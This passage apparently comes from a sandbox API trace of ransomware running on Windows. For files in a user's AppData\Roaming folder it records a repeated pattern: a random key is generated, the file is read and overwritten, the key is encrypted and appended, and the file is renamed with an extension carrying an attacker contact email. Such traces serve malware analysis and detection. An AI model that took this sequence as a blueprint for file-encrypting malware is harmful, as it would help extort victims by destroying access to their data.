(lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\o8E6mZSi5.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\o8e6mzsi5.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.908] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=72062) returned 1 [0117.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1197e) returned 0x609bd8 [0117.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1197e) returned 0x2e41f30 [0117.910] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x1197e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1197e, lpOverlapped=0x0) returned 1 [0117.913] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-72062, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.913] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x1197e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1197e, lpOverlapped=0x0) returned 1 [0117.913] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0117.913] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0117.913] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1197e [0117.914] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.914] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.914] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.914] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c3468*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.914] CloseHandle (hObject=0x6a8) returned 1 [0117.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0117.915] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3468 | out: hHeap=0x520000) returned 1 [0117.915] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\o8E6mZSi5.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\o8e6mzsi5.m4a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\o8E6mZSi5.m4a.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\o8e6mzsi5.m4a.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.917] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41b88 | out: hHeap=0x520000) returned 1 [0117.917] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8690 | out: hHeap=0x520000) returned 1 [0117.917] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0117.917] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56dce8 [0117.917] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0117.917] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0117.917] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0117.917] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0117.917] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\l4tZ.flv", dwFileAttributes=0x80) returned 1 [0117.918] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56dad8 [0117.918] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41db0 [0117.918] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dad8 | out: hHeap=0x520000) returned 1 [0117.918] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\l4tZ.flv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\l4tz.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.918] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=96084) returned 1 [0117.918] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17754) returned 0x2e41f30 [0117.918] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17754) returned 0x2e59690 [0117.918] ReadFile (in: hFile=0x6a8, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x17754, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x17754, lpOverlapped=0x0) returned 1 [0117.922] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-96084, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.922] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e59690*, nNumberOfBytesToWrite=0x17754, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e59690*, lpNumberOfBytesWritten=0x2e1f9bc*=0x17754, lpOverlapped=0x0) returned 1 [0117.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0117.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e59690 | out: hHeap=0x520000) returned 1 [0117.927] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x17754 [0117.927] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.927] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.930] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.931] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.931] CloseHandle (hObject=0x6a8) returned 1 [0117.931] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0117.931] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0117.931] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\l4tZ.flv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\l4tz.flv"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\l4tZ.flv.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\l4tz.flv.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.938] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41db0 | out: hHeap=0x520000) returned 1 [0117.938] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dce8 | out: hHeap=0x520000) returned 1 [0117.938] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56de48 | out: hHeap=0x520000) returned 1 [0117.938] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5677d8 [0117.938] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0117.938] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0117.938] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0117.938] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0117.938] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\iviN1DXG16RTV5j.jpg", dwFileAttributes=0x80) returned 1 [0117.939] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5679b8 [0117.939] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8fc0 [0117.939] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5679b8 | out: hHeap=0x520000) returned 1 [0117.939] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\iviN1DXG16RTV5j.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ivin1dxg16rtv5j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.939] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69834) returned 1 [0117.939] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110ca) returned 0x609bd8 [0117.939] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110ca) returned 0x2e41f30 [0117.940] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x110ca, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x110ca, lpOverlapped=0x0) returned 1 [0117.943] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-69834, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.944] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x110ca, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x110ca, lpOverlapped=0x0) returned 1 [0117.944] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0117.944] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0117.946] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x110ca [0117.946] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.946] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.947] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.947] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.948] CloseHandle (hObject=0x6a8) returned 1 [0117.948] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0117.948] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0117.948] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\iviN1DXG16RTV5j.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ivin1dxg16rtv5j.jpg"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\iviN1DXG16RTV5j.jpg.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ivin1dxg16rtv5j.jpg.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.950] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8fc0 | out: hHeap=0x520000) returned 1 [0117.950] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5677d8 | out: hHeap=0x520000) returned 1 [0117.950] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0117.950] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0117.950] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c54a8 [0117.950] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3418 [0117.950] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c54a8 | out: pbBuffer=0x5c54a8) returned 1 [0117.950] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3418 | out: pbBuffer=0x5c3418) returned 1 [0117.950] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\HBUuJIee6 B.ots", dwFileAttributes=0x80) returned 1 [0117.951] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e7ac8 [0117.951] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41a18 [0117.951] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7ac8 | out: hHeap=0x520000) returned 1 [0117.951] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\HBUuJIee6 B.ots" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\hbuujiee6 b.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.951] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=68095) returned 1 [0117.951] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x109ff) returned 0x609bd8 [0117.951] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x109ff) returned 0x2e41f30 [0117.952] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x109ff, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x109ff, lpOverlapped=0x0) returned 1 [0117.956] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-68095, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.956] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x109ff, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x109ff, lpOverlapped=0x0) returned 1 [0117.957] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0117.957] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0117.957] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x109ff [0117.957] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.957] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.957] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c54a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.958] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c3418*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3418*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.958] CloseHandle (hObject=0x6a8) returned 1 [0117.958] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c54a8 | out: hHeap=0x520000) returned 1 [0117.958] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3418 | out: hHeap=0x520000) returned 1 [0117.958] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\HBUuJIee6 B.ots" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\hbuujiee6 b.ots"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\HBUuJIee6 B.ots.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\hbuujiee6 b.ots.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.960] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41a18 | out: hHeap=0x520000) returned 1 [0117.960] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0117.960] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0117.960] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5677d8 [0117.960] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0117.960] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0117.960] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0117.960] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0117.960] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\GTvX8uZu4VVL em6HpmN.wav", dwFileAttributes=0x80) returned 1 [0117.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5675f8 [0117.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0117.961] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5675f8 | out: hHeap=0x520000) returned 1 [0117.961] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\GTvX8uZu4VVL em6HpmN.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\gtvx8uzu4vvl em6hpmn.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.961] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=31387) returned 1 [0117.962] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x7a9b) returned 0x609bd8 [0117.962] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x7a9b) returned 0x611680 [0117.962] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x7a9b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x7a9b, lpOverlapped=0x0) returned 1 [0117.963] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-31387, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.963] WriteFile (in: hFile=0x6a8, lpBuffer=0x611680*, nNumberOfBytesToWrite=0x7a9b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x611680*, lpNumberOfBytesWritten=0x2e1f9bc*=0x7a9b, lpOverlapped=0x0) returned 1 [0117.963] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0117.963] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611680 | out: hHeap=0x520000) returned 1 [0117.963] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x7a9b [0117.963] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.963] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.965] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.965] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.965] CloseHandle (hObject=0x6a8) returned 1 [0117.965] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0117.965] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0117.966] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\GTvX8uZu4VVL em6HpmN.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\gtvx8uzu4vvl em6hpmn.wav"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\GTvX8uZu4VVL em6HpmN.wav.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\gtvx8uzu4vvl em6hpmn.wav.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.967] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0117.967] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5677d8 | out: hHeap=0x520000) returned 1 [0117.967] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0117.967] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0117.968] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0117.968] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0117.968] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0117.968] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0117.968] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\fL2x0_UbFCma9-HfWpPr.swf", dwFileAttributes=0x80) returned 1 [0117.968] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5675f8 [0117.968] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55c150 [0117.968] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5675f8 | out: hHeap=0x520000) returned 1 [0117.968] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\fL2x0_UbFCma9-HfWpPr.swf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\fl2x0_ubfcma9-hfwppr.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.969] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=72601) returned 1 [0117.969] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11b99) returned 0x609bd8 [0117.969] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11b99) returned 0x2e41f30 [0117.969] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x11b99, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x11b99, lpOverlapped=0x0) returned 1 [0117.971] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-72601, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.971] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x11b99, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11b99, lpOverlapped=0x0) returned 1 [0117.971] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0117.971] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 